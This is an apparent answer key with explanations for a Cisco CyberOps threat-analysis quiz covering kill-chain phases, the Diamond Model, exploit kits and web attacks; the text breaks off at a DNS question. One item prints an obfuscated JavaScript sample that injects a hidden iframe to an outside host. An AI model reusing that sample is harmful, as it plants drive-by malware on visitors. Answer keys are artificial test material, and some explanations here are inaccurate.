Threat Analysis Post-Assessment

Threat Analysis Post-Assessment | CBROPS 2023 2024

Which phase of the cyber kill chain model describes actions taken by the threat actor that are objective-dependent?

installation
CnC
exploitation

actions on objectives

Explanation & Hint:

The phase of the cyber kill chain model that describes actions taken by the threat actor that are objective-dependent is “Actions on Objectives.”

In this phase, the attacker has successfully infiltrated the network and takes actions to achieve their intended goals. These objectives can vary widely, from data exfiltration and destruction to establishing persistent access for future campaigns. This phase is where the attacker’s primary mission is executed, whether it’s stealing sensitive information, disrupting operations, or damaging assets.

Regarding the diamond model, which tool or technique might the adversary use in an event?

infrastructure
victim
capability
attacker

vector

Explanation & Hint:

In the context of the Diamond Model of Intrusion Analysis, when considering what tool or technique an adversary might use in an event, the most relevant component is “Capability.”

The Diamond Model consists of four core features: Adversary, Infrastructure, Capability, and Victim. Here’s a brief overview of each:

Adversary: This represents the individual or group responsible for the intrusion event. It focuses on understanding who is conducting the attack.
Infrastructure: This refers to the physical and virtual resources that enable an adversary to stage and conduct operations, such as servers, domains, and malware delivery systems.
Capability: This element involves the tools, techniques, and procedures (TTPs) the adversary uses to conduct the attack. This includes specific malware, exploits, and tactics used to compromise systems and networks. It is in this aspect that you would classify the specific tool or technique employed by the adversary during an event.
Victim: This component identifies the target of the intrusion, which could be an individual, an organization, or a system.

Therefore, when looking at the tool or technique used by an adversary in an event, it falls under “Capability” in the Diamond Model.

Which two statements are true regarding the delivery phase in the cyber kill chain model? (Choose two.)

Delivery is the transmission of the payload to the target via a communication vector.
Transmission cannot take multiple forms, and most delivery techniques cannot be uniquely tailored to the targeted individual or system.
Obfuscating the payload’s code is not a valid technique for minimizing the chance of detection during the delivery process.

Methods for accomplishing delivery can include email attachments, phishing emails, directing individuals to websites, and USB devices.

Explanation & Hint:

In the context of the Delivery phase in the Cyber Kill Chain model, the two true statements among the ones provided are:

“Delivery is the transmission of the payload to the target via a communication vector.” – This statement correctly describes the Delivery phase. During this phase, the attacker transmits a weaponized payload to the victim using various methods. The payload could be in the form of a virus, worm, or other malicious software, and the delivery can occur via email, malicious websites, USB drives, etc.
“Methods for accomplishing delivery can include email attachments, phishing emails, directing individuals to websites, and USB devices.” – This statement is also true. These methods are common ways for attackers to deliver malicious payloads to their targets. Email attachments and phishing emails can deceive users into executing harmful software, while compromised websites and physical devices like USB drives can serve as a medium for transferring the payload.

The other statements are not accurate:

“Transmission cannot take multiple forms, and most delivery techniques cannot be uniquely tailored to the targeted individual or system.” – This is false. In reality, the transmission of a payload in a cyberattack can indeed take multiple forms, and attackers often tailor their delivery techniques to their specific target for greater effectiveness.
“Obfuscating the payload’s code is not a valid technique for minimizing the chance of detection during the delivery process.” – This statement is incorrect. Obfuscating the code of a payload is actually a common and valid technique used by attackers to evade detection by security systems. It helps in disguising the malicious nature of the code, making it harder for security tools to identify it as a threat.

Regarding the diamond model, which four nodes are used to model an intrusion? (Choose four.)

adversary
capability
attacker
network
infrastructure
capacity
victim
vector

path

Explanation & Hint:

In the Diamond Model of Intrusion Analysis, the four nodes used to model an intrusion are:

Adversary (or Attacker): This represents the individual, group, or organization that is responsible for the intrusion. It focuses on identifying and understanding the actor behind the attack.
Capability: This refers to the tools, techniques, and procedures (TTPs) that the adversary employs to conduct the attack. This includes specific malware, exploits, and tactics used to compromise systems and networks.
Infrastructure: This involves the physical and virtual resources that enable an adversary to stage and conduct operations. This can include servers, domains, and malware delivery systems.
Victim: This identifies the target of the intrusion, which could be an individual, an organization, or a specific system.

The Diamond Model uses these four core elements to understand and analyze cyber intrusions, focusing on the relationships and interactions among these elements. “Network,” “Capacity,” “Vector,” and “Path” are not part of the four primary nodes of the Diamond Model.

Which node is responsible for conducting an intrusion in the diamond model?

adversary
capability
infrastructure
victim
attacker

vector

Explanation & Hint:

In the Diamond Model of Intrusion Analysis, the node responsible for conducting an intrusion is the “Adversary” (also referred to as “Attacker”). This node represents the individual, group, or organization that initiates and executes the intrusion. The focus here is on identifying and understanding who is behind the attack, their motives, resources, and methods. The Adversary node is central in understanding the source and intent of the intrusion.

Which phase of the kill chain often involves performing social engineering?

command-and-control
installation
reconnaissance

exploitation

Explanation & Hint:

The phase of the kill chain that often involves performing social engineering is the “Reconnaissance” phase.

During the Reconnaissance phase, attackers gather information about the target. This can include identifying potential vulnerabilities in the target’s security, learning about the target’s systems and networks, and often involves gathering information about individuals who work at the target organization. Social engineering techniques are frequently used in this phase to manipulate individuals into divulging confidential information, which can be critical for planning the subsequent phases of the attack.

Social engineering can also be a part of other phases like “Delivery” or “Exploitation,” especially in cases involving phishing attacks, but it is most characteristically a part of Reconnaissance, where information gathering and target identification are key activities.

Which two statements are true regarding the installation or persistence phase in the cyber kill chain model? (Choose two.)

This phase does not survive the system re-boots and the attack needs to be initiated again.
Sustained access generally provides the threat actor a way to access the system whenever desired without alerting the system users or network defenders.
Although the threat actor creates successful operations against the targeted host, individual or network, the attack cannot extend over a prolonged length of time.

The installation phase (or persistence phase) describes actions taken by the threat actor to establish a back door onto the targeted system.

Explanation & Hint:

In the context of the Installation or Persistence phase of the Cyber Kill Chain model, the two true statements among those provided are:

“Sustained access generally provides the threat actor a way to access the system whenever desired without alerting the system users or network defenders.” – This statement is true. The primary goal of the Installation or Persistence phase is to ensure that the threat actor maintains access to the target network or system over time. This is typically achieved through the creation of backdoors or other mechanisms that allow for continued access without detection.
“The installation phase (or persistence phase) describes actions taken by the threat actor to establish a back door onto the targeted system.” – This statement is also true. During this phase, the attacker installs various tools or creates hidden methods for maintaining access to the compromised system. These tools can include rootkits, trojans, or other types of malware that provide persistent access to the system even after reboots.

The other statements are not accurate:

“This phase does not survive the system re-boots and the attack needs to be initiated again.” – This is false. One of the key objectives of the Installation or Persistence phase is to survive system reboots. Attackers often establish mechanisms that automatically reinstate their access after a reboot.
“Although the threat actor creates successful operations against the targeted host, individual or network, the attack cannot extend over a prolonged length of time.” – This statement is incorrect. The whole purpose of the Installation or Persistence phase is to enable the attack to extend over a prolonged period, often for the purpose of continuous data exfiltration, surveillance, or further exploitation.

Which two statements are true regarding the exploitation phase in the cyber kill chain model? (Choose two.)

Selection of the exploit is not important in the exploitation phase.
The exploitation phase describes what occurs once the malicious code is executed before the weapon delivery.
Threat actors commonly exploit or target one of three critical weaknesses in the defensive posture: an application, an operating system vulnerability, or the users.

When the exploit is conducted, the attacker “breaks” the vulnerability to gain control of the machine.

Explanation & Hint:

In the context of the Exploitation phase in the Cyber Kill Chain model, the two true statements are:

“Threat actors commonly exploit or target one of three critical weaknesses in the defensive posture: an application, an operating system vulnerability, or the users.” – This statement is true. The Exploitation phase often involves the exploitation of vulnerabilities in software (like applications or operating systems) or exploiting human weaknesses (like tricking users through social engineering). This phase is about leveraging weaknesses to gain unauthorized access or control.
“When the exploit is conducted, the attacker ‘breaks’ the vulnerability to gain control of the machine.” – This is also true. The act of exploitation involves manipulating a vulnerability, whether it’s in software or a system’s configuration, to execute attacker-controlled code. This can lead to the attacker gaining control over the affected system or machine.

The other statements are not accurate:

“Selection of the exploit is not important in the exploitation phase.” – This is false. The selection of the appropriate exploit is crucial in the Exploitation phase. The effectiveness of the attack heavily depends on choosing an exploit that is suitable for the targeted vulnerability.
“The exploitation phase describes what occurs once the malicious code is executed before the weapon delivery.” – This statement is somewhat misleading. The Exploitation phase actually involves the execution of the malicious code. It’s the phase where the vulnerability is actively exploited, and it typically occurs after the weapon (or exploit) has been delivered to the target.

Which two statements are true regarding the command-and-control (CnC) phase in the cyber kill chain model? (Choose two.)

CnC is the process of the external threat actor beaconing inbound connection to secure servers or hosts in an organization to establish a communication channel.
CnC is the process of the exploited hosts beaconing outbound or out of the network to an Internet-based controller to establish a communications channel.
Once CnC is established with the exploited target, threat actors have access to the target system and ultimately the entire network itself.

APT malware and most other forms of implants do not require manual interaction with the target to begin the process of data exfiltration or other reconnaissance actions that are external to the outside network.

Explanation & Hint:

Among the statements provided about the Command-and-Control (CnC) phase in the Cyber Kill Chain model, the two true statements are:

“CnC is the process of the exploited hosts beaconing outbound or out of the network to an Internet-based controller to establish a communications channel.” – This statement is true. In the Command-and-Control phase, compromised systems typically reach out (beacon) to an attacker-controlled server over the internet. This establishes a communication channel that the attacker can use to control the compromised system and potentially issue further commands or extract data.
“Once CnC is established with the exploited target, threat actors have access to the target system and ultimately the entire network itself.” – This statement is also true. Establishing a Command-and-Control channel allows threat actors to interact with the compromised system, execute commands, and potentially move laterally within the network to gain broader access.

The other statements are not entirely accurate:

“CnC is the process of the external threat actor beaconing inbound connection to secure servers or hosts in an organization to establish a communication channel.” – This statement is misleading. While inbound connections can occur in some scenarios, the more typical pattern in CnC is for the compromised host to initiate outbound connections to the attacker’s server.
“APT malware and most other forms of implants do not require manual interaction with the target to begin the process of data exfiltration or other reconnaissance actions that are external to the outside network.” – This statement is somewhat misleading. While it’s true that many forms of APT (Advanced Persistent Threat) malware can operate autonomously to some extent, they often still require some level of initial direction or ongoing interaction from the attacker, especially for complex tasks like targeted data exfiltration or specific reconnaissance actions. The level of manual interaction can vary greatly depending on the sophistication of the malware and the objectives of the attack.

Which two statements are true regarding the weaponization phase in the cyber kill chain model? (Choose two.)

The designers of the weapon would not need to worry about the vulnerabilities of the targets that are discovered during reconnaissance.
The weaponization phase’s goal is that of the development of cyber weapons that could be used to degrade some aspect of the operation of the targeted system or the network as a whole, or to gain initial access into the target system or network for follow-on actions.
Choosing the appropriate weapon is not very easy because there are no existing pre-developed or tested attacks.
Examples of cyber weapons include viruses, code injection, exploits for system vulnerabilities, etc.

The attacker cannot develop their own weapon to breach the target network.

Explanation & Hint:

Among the provided statements about the Weaponization phase in the Cyber Kill Chain model, the two true statements are:

“The weaponization phase’s goal is that of the development of cyber weapons that could be used to degrade some aspect of the operation of the targeted system or the network as a whole, or to gain initial access into the target system or network for follow-on actions.” – This statement is true. During the Weaponization phase, attackers create or prepare tools (like malware, exploits, or malicious scripts) that can be used to exploit vulnerabilities in the target system or network. These tools are designed to either disrupt the target’s operations or provide the attackers with access to the target’s systems.
“Examples of cyber weapons include viruses, code injection, exploits for system vulnerabilities, etc.” – This statement is also true. In the context of cyber warfare or cyber attacks, “weapons” can include various forms of malicious software such as viruses, worms, or specific exploits targeting known vulnerabilities.

The other statements are not accurate:

“The designers of the weapon would not need to worry about the vulnerabilities of the targets that are discovered during reconnaissance.” – This is false. The effectiveness of the weaponization phase heavily relies on the accurate understanding of the target’s vulnerabilities discovered during the reconnaissance phase. The weapons are often tailored to exploit these specific vulnerabilities.
“Choosing the appropriate weapon is not very easy because there are no existing pre-developed or tested attacks.” – This statement is misleading. While developing new and effective cyber weapons can be challenging, there is a plethora of pre-developed and tested attacks and tools available in various forms, ranging from open-source tools to those available in underground markets. The choice depends on the attacker’s objectives and the target’s vulnerabilities.
“The attacker cannot develop their own weapon to breach the target network.” – This is incorrect. Attackers can and often do develop their own weapons tailored to specific targets or objectives. Custom development of cyber weapons is a common practice among sophisticated attackers.

What does TTP stand for?

time to prepare
tactics, threats, and processes
tactics, techniques, and procedures

theory, testing, and proof

Explanation & Hint:

TTP stands for “Tactics, Techniques, and Procedures.” This term is frequently used in cybersecurity and military contexts to describe the behavior or modus operandi of cyber adversaries. “Tactics” refer to the overall strategy or goals of the attackers, “Techniques” describe how the attackers carry out their tactics, and “Procedures” are the specific, detailed methods employed to execute the techniques.

Match the phase of the kill chain model with the corresponding identification or prevention method.

User access controls and strict limits to privilege levels can help mitigate risk. ==> actions on objectives
A solid network security posture with firewalls and intrusion detection can prevent leaking more information. ==> command-and-control
Knowledge of existing ransomware attacks and communication vectors can aid in the prevention of delivery. ==> delivery phase
Unusually high amounts of traffic, connections to IP addresses that are foreign or unrecognizable, or other activities that seem out of the ordinary can indicate this type of attack. ==> reconnaissance phase

Network security monitoring tools can help identify this phase. ==> installation phase

Explanation & Hint:

User access controls and strict limits to privilege levels can help mitigate risk. ==> Actions on Objectives
- Limiting user access and privileges is key to mitigating risk in the Actions on Objectives phase, where attackers aim to achieve their primary goal, be it data theft, system damage, etc. Controlling access limits what an attacker can do even after they’ve penetrated the system.
A solid network security posture with firewalls and intrusion detection can prevent leaking more information. ==> Command-and-Control
- In the Command-and-Control phase, the attacker establishes a communication channel with the compromised system to control it remotely. Network security measures like firewalls and intrusion detection systems can help prevent this communication, thus hindering the attacker’s ability to command the compromised system.
Knowledge of existing ransomware attacks and communication vectors can aid in the prevention of delivery. ==> Delivery Phase
- Being aware of the methods used in ransomware attacks and the common communication vectors can help prevent the delivery of malicious payloads. In the Delivery phase, attackers transmit the weaponized payload to the target, often through vectors like email or malicious websites.
Unusually high amounts of traffic, connections to IP addresses that are foreign or unrecognizable, or other activities that seem out of the ordinary can indicate this type of attack. ==> Reconnaissance Phase
- These indicators are typically associated with the Reconnaissance phase, where attackers gather information about the target. Unusual network traffic can be a sign that someone is probing the network to find vulnerabilities.
Network security monitoring tools can help identify this phase. ==> Installation Phase
- In the Installation phase, attackers establish their presence on the target network or system, often by installing malicious software. Network security monitoring tools can help detect these unauthorized installations or changes in the system.

Match the feature of the diamond model to the corresponding explanation.

when the event occurred, broken into start and end times ==> time stamp
A group of events, similar to the phases of the kill chain. The diamond model does not assume that there will always be seven phases to an attack, and leaves it up to the intrusion analyst to determine what phases an adversary is using. ==> phase
The post condition of the adversary’s operation may not always be known, but can be modeled by selecting success, failure, or unknown. ==> result
Denotes where the event’s actions started. Typically, adversary-to-victim or victim-to-adversary, with infrastructure being an intermediary in either case. ==> direction
A generic class of activity that the adversary has used, such as distributed denial of service or spear-phishing attacks. ==> methodology

Any external resources that are used by the adversary, such as software, hardware, or money. ==> resources

Explanation & Hint:

Let’s match each feature of the Diamond Model to the corresponding explanation:

when the event occurred, broken into start and end times ==> Time Stamp

The “Time Stamp” in the Diamond Model refers to the timing of the event, indicating when it began and when it ended.
A group of events, similar to the phases of the kill chain. The diamond model does not assume that there will always be seven phases to an attack, and leaves it up to the intrusion analyst to determine what phases an adversary is using. ==> Phase

The “Phase” aspect of the Diamond Model refers to the stages or steps of an intrusion, similar to how the kill chain model breaks down an attack into phases.
The post condition of the adversary’s operation may not always be known, but can be modeled by selecting success, failure, or unknown. ==> Result

The “Result” in the Diamond Model denotes the outcome of the adversary’s operation, which can be categorized as success, failure, or unknown.
Denotes where the event’s actions started. Typically, adversary-to-victim or victim-to-adversary, with infrastructure being an intermediary in either case. ==> Direction

The “Direction” feature in the Diamond Model indicates the initiation point of the event’s actions, such as whether it was initiated by the adversary towards the victim or vice versa.
A generic class of activity that the adversary has used, such as distributed denial of service or spear-phishing attacks. ==> Methodology

The “Methodology” in the Diamond Model refers to the general class or type of activity used by the adversary, like specific attack types or strategies.
Any external resources that are used by the adversary, such as software, hardware, or money. ==> Resources

The “Resources” aspect of the Diamond Model encompasses the external resources utilized by the adversary, which could include tools like software, hardware, or financial assets.

Which two statements are true regarding the reconnaissance phase in the cyber kill chain model? (Choose two.)

External to the network, threat actors review available information and resources about your organization and public-facing network assets.
Potential targets are selected when they are considered to be relatively protected and guarded.
Company websites, news articles, and social media can be used to develop a list of potential targets of network infiltration vectors.

During the reconnaissance phase, threat actors will randomly select the target network.

Explanation & Hint:

Among the statements provided about the Reconnaissance phase in the Cyber Kill Chain model, the two true statements are:

“External to the network, threat actors review available information and resources about your organization and public-facing network assets.” – This statement is true. During the Reconnaissance phase, attackers gather information about the target organization from external sources. This includes researching public-facing network assets, company websites, and other publicly available data that can provide insights into potential vulnerabilities or valuable targets.
“Company websites, news articles, and social media can be used to develop a list of potential targets of network infiltration vectors.” – This statement is also true. Attackers often use publicly accessible information from company websites, news articles, and social media platforms to identify potential infiltration vectors and gather intelligence about the target organization, its employees, and its operations.

The other statements are not accurate:

“Potential targets are selected when they are considered to be relatively protected and guarded.” – This statement is misleading. In reality, attackers often target organizations perceived as less protected or vulnerable, rather than those that are well-guarded. The goal is to find the path of least resistance.
“During the reconnaissance phase, threat actors will randomly select the target network.” – This statement is false. The selection of targets during the reconnaissance phase is typically not random but rather based on specific criteria or objectives. Attackers choose targets based on factors like the potential for financial gain, data value, perceived vulnerabilities, or strategic importance.

What is typically used by the attackers as a launching platform to deliver the payload to the targeted system?

exploit kit
day zero malware
CnC channel

SQL injections

Explanation & Hint:

In the context of delivering a payload to a targeted system, attackers typically use “Exploit Kits.” An exploit kit is a software toolkit used by cybercriminals to exploit security holes in software applications for the purpose of delivering a payload. These kits are designed to be user-friendly and are often rented out to other criminals in a service model. They can automatically exploit vulnerabilities in software on a victim’s computer, often without any necessary user interaction, making them an effective tool for delivering various types of malicious payloads.

While other options like “day zero malware” (more commonly referred to as “zero-day malware”), “CnC (Command and Control) channels,” and “SQL injections” are also tools/methods used in cyber attacks, they serve different specific purposes:

Zero-day malware refers to malware that exploits a previously unknown vulnerability, for which there’s no patch available at the time of the attack.
CnC channels are used for maintaining communication and control over compromised systems.
SQL injections are a type of attack that targets databases through web applications.

These tools/methods might be part of a broader attack strategy, but when it specifically comes to delivering a payload, exploit kits are more directly associated with this function.

Which vulnerability is required to make SQL injection attacks possible?

improper user input validation by the web application
improper SQL database schema
improper trust relationship between the web application and the SQL database

improper SQL syntax validation by the SQL database

Explanation & Hint:

The vulnerability required to make SQL injection attacks possible is “improper user input validation by the web application.”

SQL injection attacks occur when an attacker is able to insert or “inject” a malicious SQL query into the input fields of a web application. This is made possible primarily due to the web application failing to properly validate, sanitize, or escape user-supplied input. When the input data is not correctly checked or handled, it can be manipulated to alter the SQL queries executed by the web application, leading to unauthorized access or manipulation of the database.

The other options listed do not directly enable SQL injection attacks:

Improper SQL database schema: While a poorly designed database schema can lead to various issues, it is not a direct enabler of SQL injection attacks. SQL injection exploits vulnerabilities in how the web application processes user input, not the underlying database schema.
Improper trust relationship between the web application and the SQL database: This might lead to security issues, but it’s not the primary cause of SQL injection attacks. These attacks exploit how input data is processed by the application before being sent to the database.
Improper SQL syntax validation by the SQL database: SQL databases typically do not perform syntax validation to prevent SQL injection; they execute the query they receive. It’s the responsibility of the web application to ensure that the SQL queries are properly structured and free of malicious input.

Referring to the URL being accessed that is shown here, which encoding is used to represent the URL in ASCII?

www.xn--gwtq9nb2a.jp

Unicode
Punycode
UTF-32

EUC

Explanation & Hint:

The URL “www.xn--gwtq9nb2a.jp” is encoded using Punycode. Punycode is a way to represent Unicode characters with the limited character subset of ASCII (American Standard Code for Information Interchange), which is primarily used for Internet host names. This encoding is commonly used in the Internationalized Domain Names (IDNs), allowing domain names containing non-ASCII characters to be represented in the ASCII-only DNS environment.

The “xn--” prefix in the URL is a key indicator that Punycode encoding is being used. Unicode, UTF-32, and EUC are other character encodings, but they are not used for representing URLs in ASCII as Punycode is.

Which resource record type is used to display the mail servers for a domain?

CNAME
MX
AAAA

PTR

Explanation & Hint:

The resource record type used to display the mail servers for a domain is “MX” (Mail Exchange). MX records in DNS (Domain Name System) specify the mail servers responsible for accepting email on behalf of a domain and are essential for routing email correctly.

What are the three basic types of payloads within the Metasploit framework? (Choose three.)

singles
stagers
stages
crypto

active

Explanation & Hint:

Within the Metasploit framework, the three basic types of payloads are:

Singles: These are small, self-contained payloads that perform a specific task, such as establishing a shell or adding a user account. They are designed to execute a simple action and typically do not require extensive communication with the attacker after deployment.
Stagers: Stagers are payloads that establish a communication channel between the target and the attacker. They are used to set up a network connection that can be used to load more complex payloads (stages). Stagers are typically small and designed to be as inconspicuous as possible.
Stages: Stages are payloads that are transmitted and executed by the stager. They are typically larger and more complex, providing the attacker with extensive control over the compromised system. Stages can include full-featured shells, Meterpreter sessions, or other complex functionalities.

The other options, “crypto” and “active,” are not considered basic payload types within the Metasploit framework.

Which two languages are commonly used in client scripting? (Choose two.)

JavaScript
VBScript
Perl
PHP

Python

Explanation & Hint:

The two languages commonly used in client scripting are:

JavaScript: JavaScript is the most widely used language for client-side scripting in web browsers. It enables interactive web pages and is an essential part of web applications.
VBScript: VBScript, short for Visual Basic Scripting Edition, has been used for client-side scripting, particularly in Internet Explorer. However, its usage has declined significantly with the rise of more modern scripting languages like JavaScript.

The other languages mentioned, Perl, PHP, and Python, are generally used for server-side scripting or general-purpose programming, rather than client-side scripting in web browsers.

Which protocol uses the well-known TCP port 110?

POP
IMAP
SMTP

DNS

Explanation & Hint:

The protocol that uses the well-known TCP port 110 is POP (Post Office Protocol), specifically POP3 which is the most recent version. POP3 is used for retrieving emails from a server and is one of the two most common email retrieval protocols, the other being IMAP.

Which three are valid SQL commands? (Choose three.)

SELECT
UPDATE
DESTROY
ALTER

MODIFY

Explanation & Hint:

The three valid SQL commands among the options provided are:

SELECT: This command is used to select data from a database. It retrieves data from one or more tables.
UPDATE: This command is used to update existing data within a table in a database.
ALTER: This command is used to modify the structure of a database. This could include adding, deleting, or modifying columns in a table.

“DESTROY” and “MODIFY” are not standard SQL commands. “MODIFY” might be confused with “ALTER TABLE… MODIFY”, which is a clause used in some SQL dialects (like MySQL) to change a column in a table, but on its own, “MODIFY” is not a standard SQL command.

Which language is used to describe the style and display properties of an HTML web page?

CSRF

Explanation & Hint:

The language used to describe the style and display properties of an HTML web page is CSS (Cascading Style Sheets). CSS is used to define how HTML elements should be displayed, controlling layout, colors, fonts, and overall visual presentation of web content.

SQL injection attacks typically allow an attacker to perform which malicious activity?

Inject operating system commands to the vulnerable SQL database server.
Inject operating system commands to the vulnerable web server that has a trust relationship to the SQL database server.
Inject malicious SQL queries to obtain sensitive information from the back-end SQL database.

Inject malicious HTTP GET requests to obtain sensitive information stored on the SQL database of the web server.

Explanation & Hint:

SQL injection attacks typically allow an attacker to perform the activity of “injecting malicious SQL queries to obtain sensitive information from the back-end SQL database.”

In an SQL injection attack, an attacker exploits vulnerabilities in a web application’s software to send malicious SQL code to the database. This can lead to unauthorized access to the database, allowing the attacker to view, modify, delete, or add data. This type of attack targets the database directly through the web application and does not typically involve injecting operating system commands or HTTP GET requests.

Which protocol is typically used as the communication channel between the client and the DDNS provider?

HTTP/HTTPS
DHCP
ARP

ICMP

Explanation & Hint:

The protocol typically used as the communication channel between the client and the Dynamic DNS (DDNS) provider is HTTP/HTTPS. DDNS clients communicate with DDNS servers to update their current IP address, and this communication is generally done over the HTTP or HTTPS protocol for security and reliability. HTTPS is particularly preferred due to its encrypted nature, ensuring that the information exchanged between the client and the DDNS provider is secure.

Protocols like DHCP, ARP, and ICMP serve different purposes in networking and are not used for communication between DDNS clients and providers. DHCP is used for network configuration, ARP for local network IP address resolution, and ICMP mainly for diagnostic and control purposes.

Which exploit kit component consists of code that gathers data about a victim’s computer and finds vulnerable applications?

payload delivery page
landing page
downloader page

command-and-control page

Explanation & Hint:

In an exploit kit, the component that consists of code that gathers data about a victim’s computer and finds vulnerable applications is typically known as the “landing page.”

When a victim’s computer is redirected to an exploit kit, the first contact is usually with the landing page. This page is responsible for determining the specifics of the victim’s environment, such as browser type, operating system, installed software, and existing vulnerabilities. Based on this information, the landing page then decides which exploits to deliver to attempt to compromise the system.

The other components mentioned serve different purposes:

Payload Delivery Page: This would be the page that actually serves the malicious payload after the victim’s system has been assessed and found vulnerable.
Downloader Page: This might be involved in downloading additional malicious components or payloads, but it does not typically gather data about the victim’s computer.
Command-and-Control Page: This would be a component of a botnet or other malicious network, used for controlling compromised systems, rather than a part of an exploit kit per se.

Which option best describes the code that is shown here?

<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height| width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|nl|msie| toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|1000|juyfdjhdjdgh|navigator|ai| showthread|php|72241732'.split('|'),0,{}))
< /script>

obfuscated JavaScript
normal JavaScript
Unicode-encoded script

Punycode-encoded script

Explanation & Hint:

The code shown here is an example of “obfuscated JavaScript.”

Obfuscation in JavaScript involves making the code difficult to understand or read, often to hide its true purpose or to prevent it from being easily analyzed or reverse-engineered. This is typically done for various reasons, such as protecting intellectual property, reducing the size of the code, or, in malicious cases, hiding harmful or exploitative functions.

The given script uses a complex and convoluted function along with a series of encoded strings and variables, which is a common technique in obfuscation. This is distinctly different from normal, readable JavaScript, which would be structured for clarity and maintainability. It is also not Unicode-encoded or Punycode-encoded script, both of which are encoding methods for representing characters, not for obfuscating code.

What is an HTTP exploit that allows attackers to access restricted directories and execute commands outside of the root directory of the web server?

XSS
web redirection
directory traversal
HTTP 302 cushioning

iFrames

Explanation & Hint:

The HTTP exploit that allows attackers to access restricted directories and execute commands outside of the root directory of the web server is known as “directory traversal.” This type of attack exploits insufficient security validation or sanitization of user-supplied file names, enabling attackers to access files and directories that are stored outside the web root folder.

By manipulating variables that reference files with “dot-dot-slash (../)” sequences and similar constructs, attackers can move up the directory hierarchy and access files or directories that should be inaccessible from the web. This can lead to information disclosure, website defacement, or server compromise.

The other options mentioned serve different purposes:

XSS (Cross-Site Scripting): This is an attack that injects malicious scripts into otherwise benign and trusted websites.
Web Redirection: This involves redirecting a user from one web page to another, which can be used maliciously but is not specifically related to accessing restricted directories.
HTTP 302 Cushioning: This term does not correspond to a recognized web security vulnerability. HTTP 302 is a standard response code indicating URL redirection.
iFrames: While iFrames can be used in some types of attacks (like clickjacking), they are not used for directory traversal attacks.

Which type of web-based attack uses malicious scripts that are injected into otherwise benign and trusted websites? The malicious scripts are then served to other victims who are visiting the infected websites.

XSS
web redirection
directory traversal

HTTP 302 cushioning

Explanation & Hint:

The type of web-based attack that involves using malicious scripts injected into otherwise benign and trusted websites is known as “XSS,” which stands for Cross-Site Scripting. In XSS attacks, the attacker injects malicious scripts into content that is then served to users visiting the website. When the users interact with the compromised website, the malicious script executes in their browser, potentially leading to data theft, session hijacking, or other malicious activities.

What are two types of Windows memory-based protection measures that can be deployed to combat the use of shellcode? (Choose two.)

DEP
defender
ASLR

PowerShell

Explanation & Hint:

Two types of Windows memory-based protection measures that can be deployed to combat the use of shellcode are:

DEP (Data Execution Prevention): DEP is a security feature that helps prevent damage from viruses and other security threats by restricting the execution of code from memory regions that are marked as non-executable. This helps to block the execution of malicious code, such as shellcode, which often relies on executing code in memory regions that should only contain data.
ASLR (Address Space Layout Randomization): ASLR is a security technique that randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries. This randomization makes it more difficult for an attacker to predict target addresses and successfully exploit memory corruption vulnerabilities, as the exact addresses where shellcode could be executed become unpredictable.

“Defender” (presumably referring to Windows Defender) is an anti-malware component of Microsoft Windows, but it is not specifically a memory-based protection measure against shellcode. “PowerShell” is a task automation and configuration management framework, also not directly related to memory-based protection against shellcode.

What is the purpose of HTTP/2 stream prioritization?

The application layer negotiates which protocol should be performed over a secure connection.
Prioritization allows an endpoint to express how it prefers its peer to allocate resources when managing concurrent streams.
Prioritization guarantees that the stream will be processed or transmitted in a particular order.

Prioritization allows an endpoint to force a peer to process concurrent streams in a particular order.

Explanation & Hint:

The purpose of HTTP/2 stream prioritization is “Prioritization allows an endpoint to express how it prefers its peer to allocate resources when managing concurrent streams.”

In HTTP/2, stream prioritization is a mechanism that allows clients to express preferences about how concurrently open streams are prioritized against each other. This means a client can suggest the order in which it wishes the server to deliver responses. However, it’s important to note that this is merely a set of preferences, not a strict set of rules that the server is obliged to follow. The server may use this information to guide its resource allocation decisions when handling multiple requests. This can be particularly useful for optimizing the loading performance of web pages.

The other options do not accurately describe HTTP/2 stream prioritization:

The negotiation of protocols over a secure connection is more related to the TLS/SSL handshake process rather than HTTP/2 stream prioritization.
HTTP/2 stream prioritization does not guarantee processing or transmission order; it is a preference, not an obligation.
It does not allow an endpoint to force a peer to process streams in a particular order; the prioritization preferences are advisory and can be ignored by the server.

What is a DNS server that is responsible for the RRs for its zones considered to be?

canonical
recursive
distributed

authoritative

Explanation & Hint:

A DNS server that is responsible for the Resource Records (RRs) for its zones is considered to be an “authoritative” DNS server. An authoritative DNS server has the complete and definitive data for the domains under its management. When it responds to a query for a domain within its zone, it answers with the authoritative data it has stored.

Match the exploit kit with the corresponding explanation.

targets Java runtime environment and drops ransomware on target systems ==> neutrino
commonly used to drop ransomware on target systems ==> nuclear
very versatile and uses a robust toolkit ==> magnitude

usually targets Adobe Flash vulnerabilities and is generally safe from anti-virus detection. ==> angler

Explanation & Hint:

targets Java runtime environment and drops ransomware on target systems ==> Neutrino
- The Neutrino exploit kit has been known for targeting vulnerabilities in the Java Runtime Environment (JRE) and has been associated with dropping ransomware onto compromised systems.
commonly used to drop ransomware on target systems ==> Nuclear
- The Nuclear exploit kit has been widely used for deploying ransomware, among other types of malware. It’s known for its broad targeting and effectiveness in delivering ransomware payloads.
very versatile and uses a robust toolkit ==> Magnitude
- The Magnitude exploit kit is known for its versatility and robust toolkit, capable of exploiting a variety of vulnerabilities and delivering various types of malware.
usually targets Adobe Flash vulnerabilities and is generally safe from anti-virus detection. ==> Angler
- The Angler exploit kit was particularly notorious for its focus on Adobe Flash vulnerabilities and its sophisticated evasion techniques to avoid detection by antivirus software.

DNS listens on which well-known ports?

TCP port 53 and UDP port 53
UDP port 67 and UDP port 68
TCP port 21 and TCP port 22

